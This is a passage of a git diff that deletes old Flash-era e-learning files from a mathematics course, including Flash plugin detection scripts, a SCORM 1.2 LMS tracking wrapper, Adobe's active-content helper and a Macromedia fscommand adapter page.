-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M1001/js/fpi-writevb.js b/Explore/elr/Mathematics/M1001/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/Mathematics/M1001/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/Mathematics/M1001/js/scorm_api.js b/Explore/elr/Mathematics/M1001/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/Mathematics/M1001/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M1002/Scripts/AC_RunActiveContent.js b/Explore/elr/Mathematics/M1002/Scripts/AC_RunActiveContent.js
deleted file mode 100755
index 1f9190a..0000000
--- a/Explore/elr/Mathematics/M1002/Scripts/AC_RunActiveContent.js
+++ /dev/null
@@ -1,126 +0,0 @@
-//v1.0
-//Copyright 2006 Adobe Systems, Inc. All rights reserved.
-function AC_AddExtension(src, ext)
-{
-  if (src.indexOf('?') != -1)
-    return src.replace(/\?/, ext+'?'); 
-  else
-    return src + ext;
-}
-
-function AC_Generateobj(objAttrs, params, embedAttrs) 
-{ 
-  var str = '<object ';
-  for (var i in objAttrs)
-    str += i + '="' + objAttrs[i] + '" ';
-  str += '>';
-  for (var i in params)
-    str += '<param name="' + i + '" value="' + params[i] + '" /> ';
-  str += '<embed ';
-  for (var i in embedAttrs)
-    str += i + '="' + embedAttrs[i] + '" ';
-  str += ' ></embed></object>';
-
-  document.write(str);
-}
-
-function AC_FL_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
-     , "application/x-shockwave-flash"
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_SW_RunContent(){
-  var ret = 
-    AC_GetArgs
-    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
-     , null
-    );
-  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
-}
-
-function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
-  var ret = new Object();
-  ret.embedAttrs = new Object();
-  ret.params = new Object();
-  ret.objAttrs = new Object();
-  for (var i=0; i < args.length; i=i+2){
-    var currArg = args[i].toLowerCase();    
-
-    switch (currArg){	
-      case "classid":
-        break;
-      case "pluginspage":
-        ret.embedAttrs[args[i]] = args[i+1];
-        break;
-      case "src":
-      case "movie":	
-        args[i+1] = AC_AddExtension(args[i+1], ext);
-        ret.embedAttrs["src"] = args[i+1];
-        ret.params[srcParamName] = args[i+1];
-        break;
-      case "onafterupdate":
-      case "onbeforeupdate":
-      case "onblur":
-      case "oncellchange":
-      case "onclick":
-      case "ondblClick":
-      case "ondrag":
-      case "ondragend":
-      case "ondragenter":
-      case "ondragleave":
-      case "ondragover":
-      case "ondrop":
-      case "onfinish":
-      case "onfocus":
-      case "onhelp":
-      case "onmousedown":
-      case "onmouseup":
-      case "onmouseover":
-      case "onmousemove":
-      case "onmouseout":
-      case "onkeypress":
-      case "onkeydown":
-      case "onkeyup":
-      case "onload":
-      case "onlosecapture":
-      case "onpropertychange":
-      case "onreadystatechange":
-      case "onrowsdelete":
-      case "onrowenter":
-      case "onrowexit":
-      case "onrowsinserted":
-      case "onstart":
-      case "onscroll":
-      case "onbeforeeditfocus":
-      case "onactivate":
-      case "onbeforedeactivate":
-      case "ondeactivate":
-      case "type":
-      case "codebase":
-        ret.objAttrs[args[i]] = args[i+1];
-        break;
-      case "width":
-      case "height":
-      case "align":
-      case "vspace": 
-      case "hspace":
-      case "class":
-      case "title":
-      case "accesskey":
-      case "name":
-      case "id":
-      case "tabindex":
-        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
-        break;
-      default:
-        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
-    }
-  }
-  ret.objAttrs["classid"] = classid;
-  if (mimeType) ret.embedAttrs["type"] = mimeType;
-  return ret;
-}
diff --git a/Explore/elr/Mathematics/M1002/index.html b/Explore/elr/Mathematics/M1002/index.html
deleted file mode 100755
index fb5b511..0000000
--- a/Explore/elr/Mathematics/M1002/index.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>Untitled Document</title>
-<script type="text/JavaScript">
-<!--
-function MM_openBrWindow(theURL,winName,features) { //v2.0
-  window.open(theURL,winName,features);
-}
-//-->
-</script>
-<script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
-type='text/javascript'%3E%3C/script%3E"));
-</script>
-<script type="text/javascript">
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
-
-</head>
-
-<body>
-<a href="#"  onclick="MM_openBrWindow('stoas_elfk_module.html','elfkWin','width=800,height=600')">start game</a>
-</body>
-</html>
diff --git a/Explore/elr/Mathematics/M1002/stoas_elfk_module.html b/Explore/elr/Mathematics/M1002/stoas_elfk_module.html
deleted file mode 100755
index b50e4a2..0000000
--- a/Explore/elr/Mathematics/M1002/stoas_elfk_module.html
+++ /dev/null
@@ -1,494 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<script type="text/javascript" language="JavaScript" name="fsIeVbscript">
-<!--
-// Hook for Internet Explorer
-if (navigator.appName && navigator.appName.indexOf("Microsoft") != -1 && navigator.userAgent.indexOf("Windows") != -1 && navigator.userAgent.indexOf("Windows 3.1") == -1) {
-	document.write('<script language=\"VBScript\"\>\n');
-	document.write('On Error Resume Next\n');
-	document.write('Sub stoas_elfk_module_FSCommand(ByVal command, ByVal args)\n');
-	document.write('	Call stoas_elfk_module_DoFSCommand(command, args)\n');
-	document.write('End Sub\n');
-	document.write('</script\>\n');
-}
-//-->
-</script>
-<title>stoas_elfk_module</title>
-<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
-<style type="text/css">
-<!--
-body {
-	margin: 0px;
-	padding: 0px;
-}
--->
-</style>
-</head>
-<script type="text/javascript" language="JavaScript" name="cmifrag">
-<!--
-// FS SCORM - fscommand adapter for ADL SCORM 1.2 and Flash MX 2004 Learning Interactions
-// version 1.0    08/19/03
-// Modified by Andrew Chemey, Macromedia
-// Based on FS SCORM adapater version 1.2.4:
-// 		Fragments Copyright 2002 Pathlore Software Corporation All rights Reserved
-// 		Fragments Copyright 2002 Macromedia Inc. All rights reserved.
-// 		Fragments Copyright 2003 Click2learn, Inc. All rights reserved.
-// 		Developed by Tom King, Macromedia,
-// 		             Leonard Greenberg, Pathlore,
-// 		             and Claude Ostyn, Click2learn, Inc.
-// 		Includes code by Jeff Burton and Andrew Chemey, Macromedia (01/09/02)
-// -----------------------------------------------------------------
-// Change these preset values to suit your taste and requirements.
-var g_bShowApiErrors = false; 	// change to true to show error messages
-var g_bInitializeOnLoad = true; // change to false to not initialize LMS when HTML page loads
-// Translate these strings if g_bShowApiErrors is true
-// and you need to localize the application
-var g_strAPINotFound = "Management system interface not found.";
-var g_strAPITooDeep = "Cannot find API - too deeply nested.";
-var g_strAPIInitFailed = "Found API but LMSInitialize failed.";
-var g_strAPISetError = "Trying to set value but API not available.";
-var g_strFSAPIError = 'LMS API adapter returned error code: "%1"\nWhen FScommand called API.%2\nwith "%3"';
-var g_strDisableErrorMsgs = "Select cancel to disable future warnings.";
-// Change g_bSetCompletedAutomatically to true if you want the status to
-// be set to completed automatically when calling LMSFinish. Normally,
-// this flag remains false if the Flash movie itself sets status
-// to completed by sending a FSCommand to set status to "completed",
-// "passed" or "failed" (both of which imply "completed")
-var g_bSetCompletedAutomatically = false;
-// This value is normally given by the LMS, but in case it is not
-// this is the default value to use to determine passed/failed.
-// Set this null if the Flash actionscript uses its own method
-// to determine passed/fail, otherwise set to a value from 0 to 1
-// inclusive (may be a floating point value, e.g "0.75".
-var g_SCO_MasteryScore = null; // allowable values: 0.0..1.0, or null
-//==================================================================
-// WARNING!!!
-// Do not modify anything below this line unless you know exactly what
-// you are doing!
-// You should not have to change these two values as the Flash template
-// presets are based on them.
-var g_nSCO_ScoreMin = 0; 		// must be a number
-var g_nSCO_ScoreMax = 100; 		// must be a number > nSCO_Score_Min
-// Per SCORM specification, the LMS provided mastery score,
-// if any, will override the SCO in interpreting whether the score
-// should be interpreted when the pass/fail status is determined.
-// The template tries to obtain the mastery score, and if it
-// is available, to set the status to passed or failed accordingly
-// when the SCO sends a score. The LMS may not actually make the
-// determination until the SCO has been terminated.
-// Default value for this flag is true. Set it to false if don't
-// want to predict how the LMS will set pass/fail status based on
-// the mastery score (the LMS will win in the end anyway).
-var g_bInterpretMasteryScore = true;
-// This script implements various aspects of
-// common logic behavior of a SCO.
-/////////// API INTERFACE INITIALIZATION AND CATCHER FUNCTIONS ////////
-var g_nFindAPITries = 0;
-var g_objAPI = null;
-var g_bInitDone = false;
-var g_bFinishDone = false;
-var	g_bSCOBrowse = false;
-var g_dtmInitialized = new Date(); // will be adjusted after initialize
-var g_bMasteryScoreInitialized = false;
-function AlertUserOfAPIError(strText) {
-	if (g_bShowApiErrors) {
-		var s = strText + "\n\n" + g_strDisableErrorMsgs;
-		if (!confirm(s)){
-			g_bShowApiErrors = false
-		}
-	}
-}
-function ExpandString(s){
-	var re = new RegExp("%","g")
-	for (i = arguments.length-1; i > 0; i--){
-		s2 = "%" + i;
-		if (s.indexOf(s2) > -1){
-			re.compile(s2,"g")
-			s = s.replace(re, arguments[i]);
-		}
-	}
-	return s
-}
-function FindAPI(win) {
-	while ((win.API == null) && (win.parent != null) && (win.parent != win)) {
-		g_nFindAPITries ++;
-		if (g_nFindAPITries > 500) {
-			AlertUserOfAPIError(g_strAPITooDeep);
-			return null;
-		}
-		win = win.parent;
-	}
-	return win.API;
-}
-function APIOK() {
-	return ((typeof(g_objAPI)!= "undefined") && (g_objAPI != null))
-}
-function SCOInitialize() {
-	var err = true;
-	if (!g_bInitDone) {
-		if ((window.parent) && (window.parent != window)){
-			g_objAPI = FindAPI(window.parent)
-		}
-		if ((g_objAPI == null) && (window.opener != null))	{
-			g_objAPI = FindAPI(window.opener)
-		}
-		if (!APIOK()) {
-			AlertUserOfAPIError(g_strAPINotFound);
-			err = false
-		} else {
-			err = g_objAPI.LMSInitialize("");
-			if (err == "true") {
-				g_bSCOBrowse = (g_objAPI.LMSGetValue("cmi.core.lesson_mode") == "browse");
-				if (!g_bSCOBrowse) {
-					if (g_objAPI.LMSGetValue("cmi.core.lesson_status") == "not attempted") {
-						err = g_objAPI.LMSSetValue("cmi.core.lesson_status","incomplete")
-					}
-				}
-			} else {
-				AlertUserOfAPIError(g_strAPIInitFailed)
-			}
-		}
-		if (typeof(SCOInitData) != "undefined") {
-			// The SCOInitData function can be defined in another script of the SCO
-			SCOInitData()
-		}
-		g_dtmInitialized = new Date();
-	}
-	g_bInitDone = true;
-	return (err + "") // Force type to string
-}
-function SCOFinish() {
-	if ((APIOK()) && (g_bFinishDone == false)) {
-		SCOReportSessionTime()
-		if (g_bSetCompletedAutomatically){
-			SCOSetStatusCompleted();
-		}
-		if (typeof(SCOSaveData) != "undefined"){
-			// The SCOSaveData function can be defined in another script of the SCO
-			SCOSaveData();
-		}
-		g_bFinishDone = (g_objAPI.LMSFinish("") == "true");
-	}
-	return (g_bFinishDone + "" ) // Force type to string
-}
-// Call these catcher functions rather than trying to call the API adapter directly
-function SCOGetValue(nam)			{return ((APIOK())?g_objAPI.LMSGetValue(nam.toString()):"")}
-function SCOCommit()					{return ((APIOK())?g_objAPI.LMSCommit(""):"false")}
-function SCOGetLastError()		{return ((APIOK())?g_objAPI.LMSGetLastError():"-1")}
-function SCOGetErrorString(n)	{return ((APIOK())?g_objAPI.LMSGetErrorString(n):"No API")}
-function SCOGetDiagnostic(p)	{return ((APIOK())?g_objAPI.LMSGetDiagnostic(p):"No API")}
-//LMSSetValue is implemented with more complex data
-//management logic below
-var g_bMinScoreAcquired = false;
-var g_bMaxScoreAcquired = false;
-// Special logic begins here
-function SCOSetValue(nam,val){
-	var err = "";
-	if (!APIOK()){
-			AlertUserOfAPIError(g_strAPISetError + "\n" + nam + "\n" + val);
-			err = "false"
-	} else if (nam == "cmi.core.score.raw") err = privReportRawScore(val)
-	if (err == ""){
-			err = g_objAPI.LMSSetValue(nam,val.toString() + "");
-			if (err != "true") return err
-	}
-	if (nam == "cmi.core.score.min"){
-		g_bMinScoreAcquired = true;
-		g_nSCO_ScoreMin = val
-	}
-	else if (nam == "cmi.core.score.max"){
-		g_bMaxScoreAcquired = true;
-		g_nSCO_ScoreMax = val
-	}
-	return err
-}
-function privReportRawScore(nRaw) { // called only by SCOSetValue
-	if (isNaN(nRaw)) return "false";
-	if (!g_bMinScoreAcquired){
-		if (g_objAPI.LMSSetValue("cmi.core.score.min",g_nSCO_ScoreMin+"")!= "true") return "false"
-	}
-	if (!g_bMaxScoreAcquired){
-		if (g_objAPI.LMSSetValue("cmi.core.score.max",g_nSCO_ScoreMax+"")!= "true") return "false"
-	}
-	if (g_objAPI.LMSSetValue("cmi.core.score.raw", nRaw)!= "true") return "false";
-	g_bMinScoreAcquired = false;
-	g_bMaxScoreAcquired = false;
-	if (!g_bMasteryScoreInitialized){
-		var nMasteryScore = parseInt(SCOGetValue("cmi.student_data.mastery_score"),10);
-		if (!isNaN(nMasteryScore)) g_SCO_MasteryScore = nMasteryScore
-	}
-  	if ((g_bInterpretMasteryScore)&&(!isNaN(g_SCO_MasteryScore))){
-    	var stat = (nRaw >= g_SCO_MasteryScore? "passed" : "failed");
-    	if (SCOSetValue("cmi.core.lesson_status",stat) != "true") return "false";
-  	}
-  	return "true"
-}
-function MillisecondsToCMIDuration(n) {
-//Convert duration from milliseconds to 0000:00:00.00 format
-	var hms = "";
-	var dtm = new Date();	dtm.setTime(n);
-	var h = "000" + Math.floor(n / 3600000);
-	var m = "0" + dtm.getMinutes();
-	var s = "0" + dtm.getSeconds();
-	var cs = "0" + Math.round(dtm.getMilliseconds() / 10);
-	hms = h.substr(h.length-4)+":"+m.substr(m.length-2)+":";
-	hms += s.substr(s.length-2)+"."+cs.substr(cs.length-2);
-	return hms
-}
-// SCOReportSessionTime is called automatically by this script,
-// but you may call it at any time also from the SCO
-function SCOReportSessionTime() {
-	var dtm = new Date();
-	var n = dtm.getTime() - g_dtmInitialized.getTime();
-	return SCOSetValue("cmi.core.session_time",MillisecondsToCMIDuration(n))
-}
-// Since only the designer of a SCO knows what completed means, another
-// script of the SCO may call this function to set completed status.
-// The function checks that the SCO is not in browse mode, and
-// avoids clobbering a "passed" or "failed" status since they imply "completed".
-function SCOSetStatusCompleted(){
-	var stat = SCOGetValue("cmi.core.lesson_status");
-	if (SCOGetValue("cmi.core.lesson_mode") != "browse"){
-		if ((stat!="completed") && (stat != "passed") && (stat != "failed")){
-			return SCOSetValue("cmi.core.lesson_status","completed")
-		}
-	} else return "false"
-}
-// Objective management logic
-function SCOSetObjectiveData(id, elem, v) {
-	var result = "false";
-	var i = SCOGetObjectiveIndex(id);
-	if (isNaN(i)) {
-		i = parseInt(SCOGetValue("cmi.objectives._count"));
-		if (isNaN(i)) i = 0;
-		if (SCOSetValue("cmi.objectives." + i + ".id", id) == "true"){
-			result = SCOSetValue("cmi.objectives." + i + "." + elem, v)
-		}
-	} else {
-		result = SCOSetValue("cmi.objectives." + i + "." + elem, v);
-		if (result != "true") {
-			// Maybe this LMS accepts only journaling entries
-			i = parseInt(SCOGetValue("cmi.objectives._count"));
-			if (!isNaN(i)) {
-				if (SCOSetValue("cmi.objectives." + i + ".id", id) == "true"){
-					result = SCOSetValue("cmi.objectives." + i + "." + elem, v)
-				}
-			}
-		}
-	}
-	return result
-}
-function SCOGetObjectiveData(id, elem) {
-	var i = SCOGetObjectiveIndex(id);
-	if (!isNaN(i)) {
-		return SCOGetValue("cmi.objectives." + i + "."+elem)
-	}
-	return ""
-}
-function SCOGetObjectiveIndex(id){
-	var i = -1;
-	var nCount = parseInt(SCOGetValue("cmi.objectives._count"));
-	if (!isNaN(nCount)) {
-		for (i = nCount-1; i >= 0; i--){ //walk backward in case LMS does journaling
-			if (SCOGetValue("cmi.objectives." + i + ".id") == id) {
-				return i
-			}
-		}
-	}
-	return NaN
-}
-// Functions to convert AICC compatible tokens or abbreviations to SCORM tokens
-function AICCTokenToSCORMToken(strList,strTest){
-	var a = strList.split(",");
-	var c = strTest.substr(0,1).toLowerCase();
-	for (i=0;i<a.length;i++){
-			if (c == a[i].substr(0,1)) return a[i]
-	}
-	return strTest
-}
-function normalizeStatus(status){
-	return AICCTokenToSCORMToken("completed,incomplete,not attempted,failed,passed", status)
-}
-function normalizeInteractionType(theType){
-	return AICCTokenToSCORMToken("true-false,choice,fill-in,matching,performance,sequencing,likert,numeric", theType)
-}
-function normalizeInteractionResult(result){
-	return AICCTokenToSCORMToken("correct,wrong,unanticipated,neutral", result)
-}
-// Detect Internet Explorer
-var g_bIsInternetExplorer = navigator.appName.indexOf("Microsoft") != -1;
-// Handle fscommand messages from a Flash movie, remapping
-// any AICC Flash template commands to SCORM if necessary
-function stoas_elfk_module_DoFSCommand(command, args){
-	var stoas_elfk_moduleObj = g_bIsInternetExplorer ? stoas_elfk_module : document.stoas_elfk_module;
-	// no-op if no SCORM API is available
-	var myArgs = new String(args);
-	var cmd = new String(command);
-	var v = "";
-	var err = "true";
-	var arg1, arg2, n, s, i;
-	var sep = myArgs.indexOf(",");
-	if (sep > -1){
-		arg1 = myArgs.substr(0, sep); // Name of data element to get from API
-		arg2 = myArgs.substr(sep+1) 	// Name of Flash movie variable to set
-	} else {
-		arg1 = myArgs
-	}
-	if (!APIOK()) return;
-	if (cmd.substring(0,3) == "LMS"){
-		// Handle "LMSxxx" FScommands (compatible with fsSCORM html template)
-		if ( cmd == "LMSInitialize" ){
-			err = (APIOK() + "")
-			// The actual LMSInitialize is called automatically by the template
-		}	else if ( cmd == "LMSSetValue" ){
-			err = SCOSetValue(arg1,arg2)
-		} else if ( cmd == "LMSFinish" ){
-			err = SCOFinish()
-			// Handled automatically by the template, but the movie
-			// may call it earlier.
-		}	else if ( cmd == "LMSCommit" ){
-			err = SCOCommit()
-		}	else if ( cmd == "LMSFlush" ){
-			// no-op
-			// LMSFlush is not defined in SCORM and calling it causes test suite error
-		}	else if ((arg2) && (arg2.length > 0)){
-			if ( cmd == "LMSGetValue") {
-				stoas_elfk_moduleObj.SetVariable(arg2, SCOGetValue(arg1));
-			}	else if ( cmd == "LMSGetLastError") {
-				stoas_elfk_moduleObj.SetVariable(arg2, SCOGetLastError(arg1));
-			}	else if ( cmd == "LMSGetErrorString") {
-				stoas_elfk_moduleObj.SetVariable(arg2, SCOGetLastError(arg1));
-			}	else if ( cmd == "LMSGetDiagnostic") {
-				stoas_elfk_moduleObj.SetVariable(arg2, SCOGetDiagnostic(arg1));
-			}	else {
-				// for unknown LMSGetxxxx extension
-				v = eval('g_objAPI.' + cmd + '(\"' + arg1 + '\")');
-				stoas_elfk_moduleObj.SetVariable(arg2,v);
-			}
-		} else if (cmd.substring(0,3) == "LMSGet") {
-			err = "-2: No Flash variable specified"
-		}
-		// end of handling "LMSxxx" cmds
-	} else if ((cmd.substring(0,6) == "MM_cmi")||(cmd.substring(0,6) == "CMISet")) {
-		// Handle a Macromedia Learning Components FScommands.
-		// These are using AICC HACP data model conventions,
-		// so remap data from AICC to SCORM as necessary.
-		var F_intData = myArgs.split(";");
-		if (cmd == "MM_cmiSendInteractionInfo") {
-			n = SCOGetValue("cmi.interactions._count");
-			s = "cmi.interactions." + n + ".";
-			// Catch gross errors to avoid SCORM compliance test failure
-			// If no ID is provided for this interaction, we cannot record it
-			v = F_intData[2]
-			if ((v == null) || (v == "")) err = 201; // If no ID, makes no sense to record
-			if (err =="true"){
-				err = SCOSetValue(s + "id", v)
-			}
-			if (err =="true"){
-				var re = new RegExp("[{}]","g")
-				for (i=1; (i<9) && (err=="true"); i++){
-					v = F_intData[i];
-					if ((v == null) || (v == "")) continue
-					if (i == 1){
-						err = SCOSetValue(s + "time", v)
-					} else if (i == 3){
-						err = SCOSetValue(s + "objectives.0.id", v)
-					} else if (i == 4){
-						err = SCOSetValue(s + "type", normalizeInteractionType(v))
-					} else if (i == 5){
-						// strip out "{" and "}" from response
-						v = v.replace(re, "");
-						err = SCOSetValue(s + "correct_responses.0.pattern", v)
-					} else if (i == 6){
-						// strip out "{" and "}" from response
-						v = v.replace(re, "");
-						err = SCOSetValue(s + "student_response", v)
-					} else if (i == 7){
-						err = SCOSetValue(s + "result", normalizeInteractionResult(v))
-					} else if (i == 8){
-						err = SCOSetValue(s + "weighting", v)
-					} else if (i == 9){
-						err = SCOSetValue(s + "latency", v)
-					}
-				}
-			}
-		} else if (cmd == "MM_cmiSendObjectiveInfo"){
